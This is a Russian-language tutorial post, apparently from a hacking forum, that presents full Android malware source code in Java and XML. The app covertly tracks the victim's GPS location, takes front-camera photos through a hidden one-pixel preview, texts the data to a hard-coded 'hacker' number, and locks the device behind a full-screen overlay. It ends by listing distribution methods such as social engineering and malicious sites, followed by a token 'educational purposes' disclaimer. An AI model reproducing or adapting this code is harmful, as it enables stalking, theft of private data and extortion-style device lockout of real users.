Всем Hello World! Сегодня напишем с вами вирус, который будет отслеживать местоположение человека, фотографировать человека через фронтальную камеру, блокировать доступ ко всем приложениям и отправлять местоположение и фотографии так называемому взломщику Сперва добавляем необходимые разрешения в файл AndroidManifest.xml: <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> <uses-permission android:name="android.permission.CAMERA"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> Код <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> <uses-permission android:name="android.permission.CAMERA"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> Следующим шагом создаем класс для обработки местоположения, отправки SMS, фотографирования и блокировки приложений: import android.Manifest; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.hardware.Camera; import android.location.Location; import android.location.LocationListener; import android.location.LocationManager; import android.net.Uri; import android.os.Bundle; import android.os.Environment; import android.provider.MediaStore; import android.telephony.SmsManager; import android.view.SurfaceHolder; import android.view.SurfaceView; import android.view.WindowManager; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.ActivityCompat; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; public class MainActivity extends AppCompatActivity implements SurfaceHolder.Callback { private LocationManager locationManager; private LocationListener locationListener; private Camera camera; private SurfaceView surfaceView; private SurfaceHolder surfaceHolder; private String hackerPhoneNumber = "+1234567890"; // Номер телефона взломщика @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Инициализация LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE); // Создание LocationListener для обработки изменений местоположения locationListener = new LocationListener() { @Override public void onLocationChanged(Location location) { double latitude = location.getLatitude(); double longitude = location.getLongitude(); sendLocationToHacker(latitude, longitude); } @Override public void onStatusChanged(String provider, int status, Bundle extras) {} @Override public void onProviderEnabled(String provider) {} @Override public void onProviderDisabled(String provider) {} }; // Проверка разрешений и запрос местоположения if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION}, 1); return; } locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, locationListener); // Инициализация камеры surfaceView = findViewById(R.id.surfaceView); surfaceHolder = surfaceView.getHolder(); surfaceHolder.addCallback(this); // Блокировка доступа ко всем приложениям getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); startService(new Intent(this, OverlayService.class)); } private void sendLocationToHacker(double latitude, double longitude) { String message = "Location: Latitude = " + latitude + ", Longitude = " + longitude; SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage(hackerPhoneNumber, null, message, null, null); } @Override public void surfaceCreated(SurfaceHolder holder) { camera = Camera.open(Camera.CameraInfo.CAMERA_FACING_FRONT); try { camera.setPreviewDisplay(holder); camera.startPreview(); camera.takePicture(null, null, pictureCallback); } catch (Exception e) { e.printStackTrace(); } } @Override public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {} @Override public void surfaceDestroyed(SurfaceHolder holder) { if (camera != null) { camera.stopPreview(); camera.release(); camera = null; } } private Camera.PictureCallback pictureCallback = new Camera.PictureCallback() { @Override public void onPictureTaken(byte[] data, Camera camera) { try { Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length); File photoFile = savePhoto(bitmap); sendPhotoToHacker(photoFile); } catch (Exception e) { e.printStackTrace(); } } }; private File savePhoto(Bitmap bitmap) throws Exception { File photoFile = new File(getExternalFilesDir(Environment.DIRECTORY_PICTURES), "photo.jpg"); FileOutputStream fos = new FileOutputStream(photoFile); bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos); fos.close(); return photoFile; } private void sendPhotoToHacker(File photoFile) { try { SmsManager smsManager = SmsManager.getDefault(); Uri photoUri = Uri.fromFile(photoFile); String message = "Photo taken: " + photoUri.getPath(); smsManager.sendTextMessage(hackerPhoneNumber, null, message, null, null); } catch (Exception e) { e.printStackTrace(); } } } Код import android.Manifest; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.hardware.Camera; import android.location.Location; import android.location.LocationListener; import android.location.LocationManager; import android.net.Uri; import android.os.Bundle; import android.os.Environment; import android.provider.MediaStore; import android.telephony.SmsManager; import android.view.SurfaceHolder; import android.view.SurfaceView; import android.view.WindowManager; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.ActivityCompat; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; public class MainActivity extends AppCompatActivity implements SurfaceHolder.Callback { private LocationManager locationManager; private LocationListener locationListener; private Camera camera; private SurfaceView surfaceView; private SurfaceHolder surfaceHolder; private String hackerPhoneNumber = "+1234567890"; // Номер телефона взломщика @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Инициализация LocationManager locationManager = (LocationManager) getSystemService(LOCATION_SERVICE); // Создание LocationListener для обработки изменений местоположения locationListener = new LocationListener() { @Override public void onLocationChanged(Location location) { double latitude = location.getLatitude(); double longitude = location.getLongitude(); sendLocationToHacker(latitude, longitude); } @Override public void onStatusChanged(String provider, int status, Bundle extras) {} @Override public void onProviderEnabled(String provider) {} @Override public void onProviderDisabled(String provider) {} }; // Проверка разрешений и запрос местоположения if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION}, 1); return; } locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, locationListener); // Инициализация камеры surfaceView = findViewById(R.id.surfaceView); surfaceHolder = surfaceView.getHolder(); surfaceHolder.addCallback(this); // Блокировка доступа ко всем приложениям getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); startService(new Intent(this, OverlayService.class)); } private void sendLocationToHacker(double latitude, double longitude) { String message = "Location: Latitude = " + latitude + ", Longitude = " + longitude; SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage(hackerPhoneNumber, null, message, null, null); } @Override public void surfaceCreated(SurfaceHolder holder) { camera = Camera.open(Camera.CameraInfo.CAMERA_FACING_FRONT); try { camera.setPreviewDisplay(holder); camera.startPreview(); camera.takePicture(null, null, pictureCallback); } catch (Exception e) { e.printStackTrace(); } } @Override public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {} @Override public void surfaceDestroyed(SurfaceHolder holder) { if (camera != null) { camera.stopPreview(); camera.release(); camera = null; } } private Camera.PictureCallback pictureCallback = new Camera.PictureCallback() { @Override public void onPictureTaken(byte[] data, Camera camera) { try { Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length); File photoFile = savePhoto(bitmap); sendPhotoToHacker(photoFile); } catch (Exception e) { e.printStackTrace(); } } }; private File savePhoto(Bitmap bitmap) throws Exception { File photoFile = new File(getExternalFilesDir(Environment.DIRECTORY_PICTURES), "photo.jpg"); FileOutputStream fos = new FileOutputStream(photoFile); bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos); fos.close(); return photoFile; } private void sendPhotoToHacker(File photoFile) { try { SmsManager smsManager = SmsManager.getDefault(); Uri photoUri = Uri.fromFile(photoFile); String message = "Photo taken: " + photoUri.getPath(); smsManager.sendTextMessage(hackerPhoneNumber, null, message, null, null); } catch (Exception e) { e.printStackTrace(); } } } После этого, создадим службу для блокировки доступа ко всем приложениям: import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.view.LayoutInflater; import android.view.View; import android.view.WindowManager; public class OverlayService extends Service { private WindowManager windowManager; private View overlayView; @Override public IBinder onBind(Intent intent) { return null; } @Override public void onCreate() { super.onCreate(); windowManager = (WindowManager) getSystemService(WINDOW_SERVICE); overlayView = LayoutInflater.from(this).inflate(R.layout.overlay_view, null); WindowManager.LayoutParams params = new WindowManager.LayoutParams( WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, WindowManager.LayoutParams.FLAG_FULLSCREEN); windowManager.addView(overlayView, params); } @Override public void onDestroy() { super.onDestroy(); if (overlayView != null) { windowManager.removeView(overlayView); } } } Код import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.view.LayoutInflater; import android.view.View; import android.view.WindowManager; public class OverlayService extends Service { private WindowManager windowManager; private View overlayView; @Override public IBinder onBind(Intent intent) { return null; } @Override public void onCreate() { super.onCreate(); windowManager = (WindowManager) getSystemService(WINDOW_SERVICE); overlayView = LayoutInflater.from(this).inflate(R.layout.overlay_view, null); WindowManager.LayoutParams params = new WindowManager.LayoutParams( WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, WindowManager.LayoutParams.FLAG_FULLSCREEN); windowManager.addView(overlayView, params); } @Override public void onDestroy() { super.onDestroy(); if (overlayView != null) { windowManager.removeView(overlayView); } } } Затем создадим макет для overlay_view.xml: <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#80000000"> </RelativeLayout> Код <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#80000000"> </RelativeLayout> Добавим макет для SurfaceView в activity_main.xml: <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <SurfaceView android:id="@+id/surfaceView" android:layout_width="1dp" android:layout_height="1dp" android:layout_centerInParent="true"/> </RelativeLayout> Код <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <SurfaceView android:id="@+id/surfaceView" android:layout_width="1dp" android:layout_height="1dp" android:layout_centerInParent="true"/> </RelativeLayout> Вот и все, вы создали свой вирус блокировщик, а также шпион на Android Что для вас еще написать, предлагайте свои идеи Документация: Целевые устройства: Android версии 6.0 и выше Методы распространения: ******овые сообщения, социальная инженерия, вирусные веб-сайты Ущерб: Нарушение конфиденциальности, сбор личной информации, блокировка устройства Предупреждение: Этот вирус создан исключительно в образовательных целях. Он предназначен для демонстрации возможных угроз безопасности и способов их предотвращения. Использование данного кода для любых незаконных или неэтичных действий строго запрещено. Создание, распространение и использование вредоносного программного обеспечения могут привести к серьёзным правовым последствиям, включая уголовную ответственность. Автор не несет ответственности за любые убытки или ущерб, причиненные в результате использования или злоупотребления этим кодом.